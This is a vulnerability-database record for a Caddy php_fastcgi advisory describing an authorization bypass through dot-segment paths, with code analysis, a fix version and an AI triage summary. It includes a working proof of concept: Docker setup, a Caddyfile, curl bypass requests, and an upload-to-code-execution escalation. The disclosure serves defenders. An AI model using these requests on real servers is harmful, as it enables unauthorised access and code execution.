{"id":"GHSA-f278-mgc7-46j3","kind":"vulnerability","aliases":["GHSA-f278-mgc7-46j3"],"related":[],"title":"php_fastcgi authorization bypass via dot-segments in the request path","description":"### Summary\r\nAn unauthenticated attacker can execute a PHP script that a Caddyfile access-control rule was protecting.\r\n\r\n> Disclosure note: This finding was identified and validated by Bynario AI, an automated pipeline. The technical claims and supporting evidence were manually reviewed before submission. The technical report was partly written using AI and re-written by me.\r\n\r\nCaddy's route matchers evaluate the `path.Clean()` cleaned request path, while the FastCGI transport derives `SCRIPT_FILENAME` from the raw path. The two therefore disagree about which file a request names: the access-control decision is made about one file, and a different file is executed.\r\n\r\n**If there is no index.php file**, `GET /admin.php/../../nope.php` or `/admin.php/..%2f..%2fnope.php` is judged by every matcher as a request for `/nope.php`. A `basic_auth` or `handle` gate on `/admin*`, `/admin.php`, or `/admin.php*` never fires while php-fpm is told to execute `/srv/admin.php`.\r\n\r\nNo access-control configuration prevents this. The matcher only ever sees a string the attacker chooses fresh on every request, so no path rule can cover it.\r\n\r\nWhere the attacker also controls a `.php` file on disk (e.g. an upload directory the operator deliberately excluded from PHP execution), this escalates from authorization bypass to remote code execution as the php-fpm user.\r\n\r\n### Details\r\n\r\n`php_fastcgi` expands to three routes (`caddy adapt` output abbreviated):\r\n\r\n``` json\r\nroute 1\r\n    { \"match\": [{\"file\": {\"try_files\": [\"{http.request.uri.path}/index.php\"]}, ...}],\r\n      \"handle\": [{\"handler\": \"static_response\", \"status_code\": 308}] }\r\n\r\nroute 2\r\n    { \"match\": [{\"file\": {\"try_files\": [\"{http.request.uri.path}\",\r\n                                        \"{http.request.uri.path}/index.php\",\r\n                                        \"index.php\"],\r\n                          \"try_policy\": \"first_exist_fallback\",\r\n                          \"split_path\": [\".php\"]}}],\r\n      \"handle\": [{\"handler\": \"rewrite\", \"uri\": \"{http.matchers.file.relative}\"}] }\r\n\r\nroute 3\r\n    { \"match\": [{\"path\": [\"*.php\"]}],\r\n      \"handle\": [{\"handler\": \"reverse_proxy\",\r\n                  \"transport\": {\"protocol\": \"fastcgi\", \"split_path\": [\".php\"]}}] }\r\n```\r\n**Caddy never rewrites `r.URL.Path` itself.** `CleanPath` is applied only to matcher-local copies for their own yes/no decisions (`matchers.go:436,487`, `urlpatternmatcher.go:118`). The rewrite in route 2 is therefore the *only* step in the entire chain that normalizes the path the transport will later read. But as said, that part never happens, so transport will receive the entire raw path.\r\n\r\n**Bug 1: the transport splits an un-normalized path**\r\n`modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:288`\r\n\r\n    fpath := r.URL.Path          // raw; contains \"..\" as sent by the client\r\n    ...\r\n    if splitPos := t.splitPos(fpath); splitPos > -1 {\r\n        docURI   = fpath[:splitPos]\r\n        pathInfo = fpath[splitPos:]\r\n        scriptName = strings.TrimSuffix(scriptName, pathInfo)\r\n    }\r\n    scriptFilename := caddyhttp.SanitizedPathJoin(root, scriptName)\r\n\r\n`splitPos` returns the index past the end of the *first* token, so for `/admin.php/../../nope.php` `scriptName` is `/admin.php` and pathInfo becomes `/../../nope.php`. Both get sanitized, but *after* the split happens. \r\nWhat php-fpm will end up executing is `SCRIPT_FILENAME = scriptFilename`, which is `/srv/admin.php`. \r\n\r\nMeanwhile the path matcher evaluates the cleaned path = `/nope.php`, so a basic_auth or handle gate on `/admin.php` or `/admin*` never matches, and never runs.\r\n\r\n**Bug 2: `first_exist_fallback` does not fall back.**\r\n`modules/caddyhttp/fileserver/matcher.go:440-461`\r\n\r\n    for i, pattern := range m.TryFiles {\r\n        candidates := makeCandidates(pattern)\r\n        for _, c := range candidates {\r\n            // Skip the IO if using fallback policy and it's the latest item\r\n            if i == maxI {\r\n                setPlaceholders(c, false)\r\n                return true, nil\r\n            }\r\n            if info, exists := m.strictFileExists(fileSystem, c.fullpath); exists { ... }\r\n        }\r\n    }\r\n    // falls through to: return false, nil\r\n\r\nThe fallback shortcut is nested **inside** the candidate loop, and `makeCandidates` builds its list from `fs.Glob` (`matcher.go:396-414`), which returns only paths that exist. When the final `try_files` entry (`index.php`) is absent, `candidates` is empty, the loop body never executes, the fallback is unreachable, and `selectFile` returns `false`.\r\n\r\nFour points indicating this is unintended rather than by design:\r\n\r\n* The policy was introduced in `efd9251a` (#6699) specifically to match unconditionally, and `php_fastcgi` hard-codes it (`fastcgi/caddyfile.go:320`) precisely so the rewrite always runs.\r\n* The branch comment says \"Skip the IO\" but `makeCandidates` already performed the stat and discarded the candidate when the file was missing.\r\n* It is **platform-divergent**: on Windows `matcher.go:395-396` sets `globResults = []string{fullPattern}` with no existence check, so `candidates` is never empty and the fallback *does* fire. Identical configuration, different security outcome on Linux vs Windows.\r\n* There is no runtime test coverage: `matcher_test.go` contains no `fallback` case; the `caddyfile_adapt` fixtures assert only generated JSON.\r\n\r\n**Documented behaviour vs. implementation.**\r\nhttps://caddyserver.com/docs/caddyfile/directives/php_fastcgi\r\n\r\nThe documentation states a guarantee that Defect 2 breaks:\r\n\r\n> \"Lastly, it'll **always** rewrite to `index.php` (it almost always exists for modern PHP apps).\" \r\n\r\nIt does not always rewrite. When `index.php` is absent it rewrites nothing at all, and the un-normalized path proceeds to the transport.\r\n\r\nThe `index` subdirective is documented in the same terms:\r\n\r\n> \"Can be set to `off` to disable rewrite **fallback** to `index.php` when a matching file is not found.\"\r\n\r\n\"when a matching file is not found\" is precisely the condition under which the fallback fails to fire. The documented contract and the implementation disagree about the only case that matters.\r\n\r\nThe expanded form shown in the docs is presented as exactly equivalent:\r\n\r\n> \"The `php_fastcgi` directive (without subdirectives) is the same as the following configuration.\" \r\n\r\nand that published expansion is the vulnerable structure: a `file` matcher with `try_policy first_exist_fallback` guarding the sole `rewrite`, followed by a `reverse_proxy` with `transport fastcgi`. An operator who copies the documented expansion verbatim, or who writes the one-line shortcut it stands for, is affected whenever the index file is absent.\r\nThere is no documented configuration that avoids this; nothing in the page warns that the rewrite may be skipped, and Caddy emits no warning at config load.\r\n\r\nNote that `index` is an optional subdirective and defaults to index.php. If an operator decides to change their index (e.g. `index home.php`), they also need to make sure it is done within the bounds of the `php_fastcgi` directive, otherwise the configuration remains vulnerable. \r\n\r\n**How they chain**\r\nWith no index file present, route 2's matcher answers \"no\", nothing modifies `r.URL.Path`, and route 3's transport splits the client's original bytes. Route 3's own `path *.php` matcher still matches, because *it* evaluates the cleaned `/nope.php`, which does end in `.php`.\r\n\r\n### PoC\r\nTested on commit d6637934e866e34f5676210f8a409b139098f954 on MacOS and Linux.\r\n\r\nTwo containers on a private Docker network. php-fpm is not published, so the only route to the interpreter is through Caddy.\r\n\r\n`/srv/admin.php` — the script the policy protects:\r\n\r\n    <?php\r\n    echo \"ADMIN PANEL\\n\";\r\n    echo \"SECRET=admin-token-4417\\n\";\r\n    echo \"REMOTE_USER=\" . ($_SERVER['REMOTE_USER'] ?? '(none - NOT AUTHENTICATED)') . \"\\n\";\r\n    echo \"SCRIPT_FILENAME=\" . $_SERVER['SCRIPT_FILENAME'] . \"\\n\";\r\n\r\n`/srv/home.php` or any second file. **Do not create `/srv/index.php`.**\r\n\r\nCaddyfile (this is a real-world configuration shape: a small PHP site with no `index.php` file and index hasn't been changed to `home.php`):\r\n```\r\n    {\r\n        auto_https off\r\n        admin off\r\n    }\r\n\r\n    :80 {\r\n        root * /srv\r\n        encode gzip\r\n\r\n        rewrite / /home.php\r\n\r\n        handle /admin* {\r\n            basic_auth {\r\n                admin $2a$14$Nfb1n94gi5Ox.kbr8qAjRe16yluMnTwQariwUSvzagQz3mE6uoCre\r\n            }\r\n            php_fastcgi php:9000 {\r\n                env REMOTE_USER {http.auth.user.id}\r\n            }\r\n            file_server\r\n        }\r\n\r\n        handle {\r\n            php_fastcgi php:9000\r\n            file_server\r\n        }\r\n    }\r\n```\r\nRun:\r\n\r\n    docker network create poc\r\n    docker run -d --name php --network poc --network-alias php \\\r\n        -v \"$PWD/srv:/srv:ro\" php:8.3-fpm-alpine\r\n    docker run -d --name caddy --network poc \\\r\n        -v \"$PWD/srv:/srv:ro\" -v \"$PWD/Caddyfile:/etc/caddy/Caddyfile:ro\" \\\r\n        -p 127.0.0.1:8080:80 caddy:2.11.4\r\n\r\nControl: the gate works:\r\n\r\n    $ curl -i --path-as-is http://127.0.0.1:8080/admin.php\r\n    HTTP/1.1 401 Unauthorized\r\n    WWW-Authenticate: Basic realm=\"restricted\"\r\n\r\nBypass: no credentials sent:\r\n\r\n    $ curl -i --path-as-is http://127.0.0.1:8080/admin.php/../../nope.php\r\n    HTTP/1.1 200 OK\r\n\r\n    ADMIN PANEL\r\n    SECRET=admin-token-4417\r\n    REMOTE_USER=(none - NOT AUTHENTICATED)\r\n    SCRIPT_FILENAME=/srv/admin.php\r\n\r\n`REMOTE_USER` is empty because `env REMOTE_USER` exists only inside the `handle /admin*` block: the request never entered it, yet `admin.php` executed.\r\n\r\n`--path-as-is` is required; curl otherwise collapses the dot segments client-side. The tail (`nope.php`) must end in `.php` and must not exist on disk. Any tail works:\r\n`zzz.php`, `x/y/z.php`, `deeply/nested/thing.php` all produce the same result.\r\n\r\n**Single-variable confirmation.** Create `/srv/index.php` and re-run the same request: it returns `index.php`'s output instead. Delete it and the bypass returns.\r\n\r\n**No access control configuration prevents it.** With the strictest possible gate,\r\n`basic_auth /admin.php*`, every one of these still executed `admin.php`:\r\n\r\n    /admin.php/../../nope.php      /admin.php/../../zzz.php\r\n    /admin.php/../../a1.php        /admin.php/../../whatever.php\r\n    /admin.php/../../x/y/z.php     /admin.php/../../deeply/nested/thing.php\r\n\r\nThe matcher sees only the cleaned path, which the attacker chooses per request.\r\n\r\n**RCE escalation.** With `/srv/uploads/` served statically and deliberately excluded from PHP execution the standard hardening for an upload directory:\r\n```\r\n@uploads path /uploads/*\r\nhandle @uploads {\r\n      file_server\r\n}\r\n\r\n@php path *.php\r\nhandle @php {\r\n      reverse_proxy php:9000 {\r\n              transport fastcgi {\r\n                      root /srv\r\n                      split .php\r\n              }\r\n      }\r\n}\r\n```\r\n`GET /uploads/evil.php` correctly returns the file's source. `GET /uploads/evil.php/../../public.php` executes it:\r\n\r\n    === ATTACKER-SUPPLIED CODE EXECUTED ===\r\n    whoami: uid=82(www-data) gid=82(www-data) groups=82(www-data)\r\n    SCRIPT_FILENAME /srv/uploads/evil.php\r\n\r\n### Impact\r\n\r\n**Class:** CWE-436 Interpretation Conflict, leading to authorization bypass (CWE-863). With an attacker-controlled `.php` file, remote code execution (CWE-94).\r\n\r\n**Attacker:** remote, unauthenticated, single request, no prior knowledge beyond the name of a `.php` file that exists.  `/admin.php`, `/install.php`, `/setup.php` are guessable. No error or warning is emitted, and the log never records the resolved SCRIPT_FILENAME, so nothing distinguishes the bypass from a legitimate 200.\r\n\r\n**Affected configurations.** Any `php_fastcgi` site where the rewrite route does not run:\r\n\r\n* the site root has no `index.php` (or no file matching the configured `index`) - **stock `php_fastcgi` with no options**\r\n* `php_fastcgi { index off }` - documented option, unconditional\r\n* the documented manual form `reverse_proxy … { transport fastcgi { split .php } }` - unconditional\r\n* a `try_files` override whose last entry is not `.php` (`fastcgi/caddyfile.go:327-330` silently downgrades the policy to `first_exist`)\r\n\r\n**Not affected:** sites with index.php file or using the `index` subdirective in the `php_fastcgi` directive. Front-controller applications (WordPress, Laravel, Symfony) are masked, because the try_files fallback then has a real candidate and the rewrite runs.\r\n\r\n**Suggested fix.** Normalize in the transport rather than relying on an upstream route that can decline to run. At fastcgi.go:288, split on the _cleaned path_ so SCRIPT_NAME, DOCUMENT_URI and PATH_INFO all derive from the string the matchers judged:\r\n`fpath := caddyhttp.CleanPath(r.URL.Path, true)`","summary":"When a php_fastcgi site has no index.php file, Caddy's access rules check a cleaned path while PHP executes the raw path, so a request with dot segments runs a PHP script that a rule was protecting. With an attacker-controlled .php file on disk, the same flaw can lead to code execution as the PHP user.","severity":"medium","cvss":5.9,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/caddyserver/caddy/v2","fixed":["v2.11.8"],"affected":">= 2.4.6, <= 2.11.7","ecosystem":"go"}],"ecosystems":["go"],"tags":["caddy","cwe-436","cwe-863","php","php-fpm","runtime","self-hosted"],"not_affected_if":["index-php-present","managed-hosting","no-php-fastcgi"],"how_to_check":"- Look for `php_fastcgi` in the Caddyfile and check whether the site root has an `index.php` file (or the file named by `index`).\n- Check the Caddy version with `caddy version` and compare against the affected range.\n- Check whether `index off` is set on `php_fastcgi`.","fix":"- `github.com/caddyserver/caddy/v2`: move to `v2.11.8` or later (fixed in `v2.11.8`)","status":"open","published_at":"2026-11-04T01:11:26+00:00","first_seen_at":"2026-11-09T22:53:33+00:00","triaged_at":"2026-11-09T22:55:14+00:00","updated_at":"2026-11-09T22:55:14+00:00","category":"runtime","confidence":0.8,"triage":{"at":"2026-11-09T22:55:14Z","model":"claude-haiku-5-5","output":{"fix":"- `github.com/caddyserver/caddy/v2`: move to `v2.11.8` or later (fixed in `v2.11.8`)","reach":"internet","title":"Caddy: PHP path handling lets unauthenticated requests bypass access rules","impact":"high","summary":"When a php_fastcgi site has no index.php file, Caddy's access rules check a cleaned path while PHP executes the raw path, so a request with dot segments runs a PHP script that a rule was protecting. With an attacker-controlled .php file on disk, the same flaw can lead to code execution as the PHP user.","audience":"businesses","category":"runtime","nicknames":[],"who_cares":["caddy","php","php-fpm","self-hosted"],"confidence":0.8,"fix_status":"available","needs_auth":"no","worst_case":"unauthenticated attacker runs PHP scripts behind access controls; code execution with uploads","analyst_note":"Confirm the fixed version and whether a configuration workaround exists beyond upgrading, from the advisory at github.com/caddyserver/caddy/security/advisories/GHSA-f278-mgc7-46j3.","how_to_check":"- Look for `php_fastcgi` in the Caddyfile and check whether the site root has an `index.php` file (or the file named by `index`).\n- Check the Caddy version with `caddy version` and compare against the affected range.\n- Check whether `index off` is set on `php_fastcgi`.","plain_action":"","product_name":"","needs_analyst":true,"not_affected_if":["index-php-present","managed-hosting","no-php-fastcgi"],"who_is_affected":"Any site served by Caddy with php_fastcgi where the site root lacks an index.php file, including stock php_fastcgi with no options and configurations that set index off. Sites with a real index.php and no custom routing that skips the rewrite are not affected per the report. Caddy itself is affected only when the request reaches the FastCGI transport.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"high"},"cost_usd":0.001274,"input_tokens":9141,"output_tokens":719,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-1':461C '-436':28B '-461':556C '-863':30B '/../../nope.php':496C '/admin':231C,539C '/admin.php':211C,232C,234C,492C,537C '/admin.php/../../nope.php':209C,489C '/caddyserver/caddy/v2':25A '/index.php':329C,345C '/nope.php':223C,528C '/srv/admin.php':245C,519C '1':323C,436C '2':338C,401C,546C '288':446C '2f':212C '2fnope.php':213C '3':361C '308':336C '440':555C '46j3':17A,22A '487':395C 'abbrevi':320C 'access':50B,111C,188C,248C 'access-control':110C,187C,247C 'adapt':318C 'ai':126C,148C 'also':277C 'appli':382C 'attack':80B,101C,261C,276C 'attacker-control':79B 'auth':226C,532C 'author':3A,298C 'autom':128C 'back':553C 'basic':225C,531C 'becom':495C 'bug':435C,545C 'bynario':125C 'bypass':4A,299C 'c':566C,586C 'caddi':26B,48B,155C,317C,375C 'caddyfil':109C 'caddyhttp.sanitizedpathjoin':473C 'candid':562C,568C 'chain':410C 'check':52B 'choos':262C 'claim':132C 'clean':54B,162C,526C 'cleanpath':380C 'client':455C 'code':92B,302C,335C 'configur':250C 'contain':450C 'control':81B,112C,189C,249C,278C 'copi':388C 'cover':272C 'cwe':27B,29B 'decis':190C,393C 'deliber':290C 'deriv':169C 'detail':310C 'differ':198C 'directori':287C 'disagre':179C 'disclosur':116C 'disk':85B,283C 'docuri':462C 'dot':7A,66B 'dot-seg':6A 'e.g':284C 'end':482C,510C 'entir':409C,432C 'escal':296C 'evalu':159C,524C 'ever':256C 'everi':217C,265C 'evid':135C 'exclud':291C 'execut':58B,93B,103C,201C,244C,294C,303C,512C 'exist':350C,548C 'expand':313C 'f278':15A,20A 'fall':552C 'fallback':351C,549C,574C 'fals':587C 'fastcgi':2A,42B,167C,312C,371C 'file':47B,83B,182C,195C,199C,207C,281C,325C,327C,340C,342C 'filenam':171C,515C 'find':119C 'fire':236C 'first':349C,485C,547C 'flaw':88B 'fpath':447C,459C,463C,466C 'fpm':34B,240C,308C,508C 'fresh':263C 'gate':229C,535C 'get':208C,498C 'ghsa':14A,19A 'ghsa-f278-mgc7-46j3':13A,18A 'github.com':24A 'github.com/caddyserver/caddy/v2':23A 'handl':228C,330C,355C,365C,534C 'handler':331C,356C,366C 'happen':426C,504C 'host':38B 'http.matchers.file.relative':359C 'http.request.uri.path':328C,343C,344C 'identifi':121C 'index':479C 'index.php':46B,206C,346C 'io':571C 'item':581C 'json':321C 'judg':215C 'later':418C 'latest':580C 'lead':90B 'local':387C 'm.tryfiles':561C 'made':192C 'makecandid':563C 'manual':137C 'match':324C,339C,362C,541C 'matcher':158C,218C,254C,386C,523C 'matcher-loc':385C 'matchers.go:436':394C 'maxi':584C 'meanwhil':520C 'mgc7':16A,21A 'modules/caddyhttp/fileserver/matcher.go':554C 'modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go':445C 'name':185C 'never':235C,376C,425C,540C,543C 'normal':412C,443C 'note':117C 'one':194C 'oper':289C 'output':319C 'part':145C,424C 'past':480C 'path':12A,55B,61B,164C,175C,269C,353C,363C,373C,414C,434C,444C,522C,527C 'path.clean':161C 'pathinfo':465C,471C,494C 'pattern':559C,564C 'php':1A,31B,33B,41B,57B,70B,82B,96B,105C,239C,280C,293C,307C,311C,354C,364C,374C,507C 'php-fpm':32B,238C,306C,506C 'pipelin':129C 'polici':348C,575C 'prevent':251C 'protect':76B,115C 'protocol':370C 'proxi':368C 'r':588C 'r.url.path':378C,448C 'rang':560C,567C 'raw':60B,174C,433C,449C 're':151C 're-written':150C 'read':419C 'receiv':430C 'remot':301C 'report':143C 'request':11A,64B,163C,184C,221C,266C 'respons':333C 'return':477C 'revers':367C 'review':138C 'rewrit':357C,377C,398C 'root':474C 'rout':157C,316C,322C,337C,360C,400C 'rule':51B,74B,113C,270C 'run':68B,544C 'runtim':35B 'said':422C 'sanit':499C 'script':71B,106C,170C,514C 'scriptfilenam':472C,516C 'scriptnam':468C,470C,475C,490C 'see':257C 'segment':8A,67B 'self':37B 'self-host':36B 'sent':452C 'setplacehold':585C 'site':43B 'skip':569C 'split':352C,372C,439C,503C 'splitpo':457C,460C,464C,467C,476C 'static':332C 'status':334C 'step':406C 'string':259C 'strings.trimsuffix':469C 'submiss':140C 'summari':98C 'support':134C 't.splitpos':458C 'technic':131C,142C 'therefor':178C,403C 'three':315C 'token':486C 'told':242C 'transport':168C,369C,416C,428C,438C 'tri':326C,341C,347C 'two':177C 'un':442C 'un-norm':441C 'unauthent':100C 'upload':286C 'uri':358C 'urlpatternmatcher.go:118':396C 'use':147C,573C 'user':97B,309C 'valid':123C 'via':5A 'written':146C,152C 'yes/no':392C","nicknames":[],"mitigations":[],"who_affected":"Any site served by Caddy with php_fastcgi where the site root lacks an index.php file, including stock php_fastcgi with no options and configurations that set index off. Sites with a real index.php and no custom routing that skips the rewrite are not affected per the report. Caddy itself is affected only when the request reaches the FastCGI transport.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["githubcomcaddyservercaddyv2"],"ptokens":["caddy","caddyserver","com","github","v2"],"labels":["caddy","cwe436","cwe863","go","medium","php","phpfpm","runtime","selfhosted"],"campaign_type":null,"search_a":"'/caddyserver/caddy/v2':25A '46j3':17A,22A 'author':3A 'bypass':4A 'dot':7A 'dot-seg':6A 'f278':15A,20A 'fastcgi':2A 'ghsa':14A,19A 'ghsa-f278-mgc7-46j3':13A,18A 'github.com':24A 'github.com/caddyserver/caddy/v2':23A 'mgc7':16A,21A 'path':12A 'php':1A 'request':11A 'segment':8A 'via':5A","search_b":"'-436':28B '-863':30B 'access':50B 'attack':80B 'attacker-control':79B 'caddi':26B,48B 'check':52B 'clean':54B 'code':92B 'control':81B 'cwe':27B,29B 'disk':85B 'dot':66B 'execut':58B,93B 'fastcgi':42B 'file':47B,83B 'flaw':88B 'fpm':34B 'host':38B 'index.php':46B 'lead':90B 'path':55B,61B 'php':31B,33B,41B,57B,70B,82B,96B 'php-fpm':32B 'protect':76B 'raw':60B 'request':64B 'rule':51B,74B 'run':68B 'runtim':35B 'script':71B 'segment':67B 'self':37B 'self-host':36B 'site':43B 'user':97B","search_c":"'-1':461C '-461':556C '/../../nope.php':496C '/admin':231C,539C '/admin.php':211C,232C,234C,492C,537C '/admin.php/../../nope.php':209C,489C '/index.php':329C,345C '/nope.php':223C,528C '/srv/admin.php':245C,519C '1':323C,436C '2':338C,401C,546C '288':446C '2f':212C '2fnope.php':213C '3':361C '308':336C '440':555C '487':395C 'abbrevi':320C 'access':111C,188C,248C 'access-control':110C,187C,247C 'adapt':318C 'ai':126C,148C 'also':277C 'appli':382C 'attack':101C,261C,276C 'auth':226C,532C 'author':298C 'autom':128C 'back':553C 'basic':225C,531C 'becom':495C 'bug':435C,545C 'bynario':125C 'bypass':299C 'c':566C,586C 'caddi':155C,317C,375C 'caddyfil':109C 'caddyhttp.sanitizedpathjoin':473C 'candid':562C,568C 'chain':410C 'choos':262C 'claim':132C 'clean':162C,526C 'cleanpath':380C 'client':455C 'code':302C,335C 'configur':250C 'contain':450C 'control':112C,189C,249C,278C 'copi':388C 'cover':272C 'decis':190C,393C 'deliber':290C 'deriv':169C 'detail':310C 'differ':198C 'directori':287C 'disagre':179C 'disclosur':116C 'disk':283C 'docuri':462C 'e.g':284C 'end':482C,510C 'entir':409C,432C 'escal':296C 'evalu':159C,524C 'ever':256C 'everi':217C,265C 'evid':135C 'exclud':291C 'execut':103C,201C,244C,294C,303C,512C 'exist':350C,548C 'expand':313C 'fall':552C 'fallback':351C,549C,574C 'fals':587C 'fastcgi':167C,312C,371C 'file':182C,195C,199C,207C,281C,325C,327C,340C,342C 'filenam':171C,515C 'find':119C 'fire':236C 'first':349C,485C,547C 'fpath':447C,459C,463C,466C 'fpm':240C,308C,508C 'fresh':263C 'gate':229C,535C 'get':208C,498C 'handl':228C,330C,355C,365C,534C 'handler':331C,356C,366C 'happen':426C,504C 'http.matchers.file.relative':359C 'http.request.uri.path':328C,343C,344C 'identifi':121C 'index':479C 'index.php':206C,346C 'io':571C 'item':581C 'json':321C 'judg':215C 'later':418C 'latest':580C 'local':387C 'm.tryfiles':561C 'made':192C 'makecandid':563C 'manual':137C 'match':324C,339C,362C,541C 'matcher':158C,218C,254C,386C,523C 'matcher-loc':385C 'matchers.go:436':394C 'maxi':584C 'meanwhil':520C 'modules/caddyhttp/fileserver/matcher.go':554C 'modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go':445C 'name':185C 'never':235C,376C,425C,540C,543C 'normal':412C,443C 'note':117C 'one':194C 'oper':289C 'output':319C 'part':145C,424C 'past':480C 'path':164C,175C,269C,353C,363C,373C,414C,434C,444C,522C,527C 'path.clean':161C 'pathinfo':465C,471C,494C 'pattern':559C,564C 'php':105C,239C,280C,293C,307C,311C,354C,364C,374C,507C 'php-fpm':238C,306C,506C 'pipelin':129C 'polici':348C,575C 'prevent':251C 'protect':115C 'protocol':370C 'proxi':368C 'r':588C 'r.url.path':378C,448C 'rang':560C,567C 'raw':174C,433C,449C 're':151C 're-written':150C 'read':419C 'receiv':430C 'remot':301C 'report':143C 'request':163C,184C,221C,266C 'respons':333C 'return':477C 'revers':367C 'review':138C 'rewrit':357C,377C,398C 'root':474C 'rout':157C,316C,322C,337C,360C,400C 'rule':113C,270C 'run':544C 'said':422C 'sanit':499C 'script':106C,170C,514C 'scriptfilenam':472C,516C 'scriptnam':468C,470C,475C,490C 'see':257C 'sent':452C 'setplacehold':585C 'skip':569C 'split':352C,372C,439C,503C 'splitpo':457C,460C,464C,467C,476C 'static':332C 'status':334C 'step':406C 'string':259C 'strings.trimsuffix':469C 'submiss':140C 'summari':98C 'support':134C 't.splitpos':458C 'technic':131C,142C 'therefor':178C,403C 'three':315C 'token':486C 'told':242C 'transport':168C,369C,416C,428C,438C 'tri':326C,341C,347C 'two':177C 'un':442C 'un-norm':441C 'unauthent':100C 'upload':286C 'uri':358C 'urlpatternmatcher.go:118':396C 'use':147C,573C 'user':309C 'valid':123C 'written':146C,152C 'yes/no':392C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-11-04T01:11:26+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"ghsa-repo","external_id":"GHSA-f278-mgc7-46j3","url":"https://github.com/caddyserver/caddy/security/advisories/GHSA-f278-mgc7-46j3","severity":"medium","published_at":"2026-11-04T01:11:26+00:00","modified_at":"2026-11-04T01:11:27+00:00","first_seen_at":"2026-11-09T22:53:33+00:00","fetched_at":"2026-11-09T22:53:33+00:00","note":null}],"documents":[{"id":110733,"url":"https://github.com/caddyserver/caddy/security/advisories/GHSA-f278-mgc7-46j3","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa-repo","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}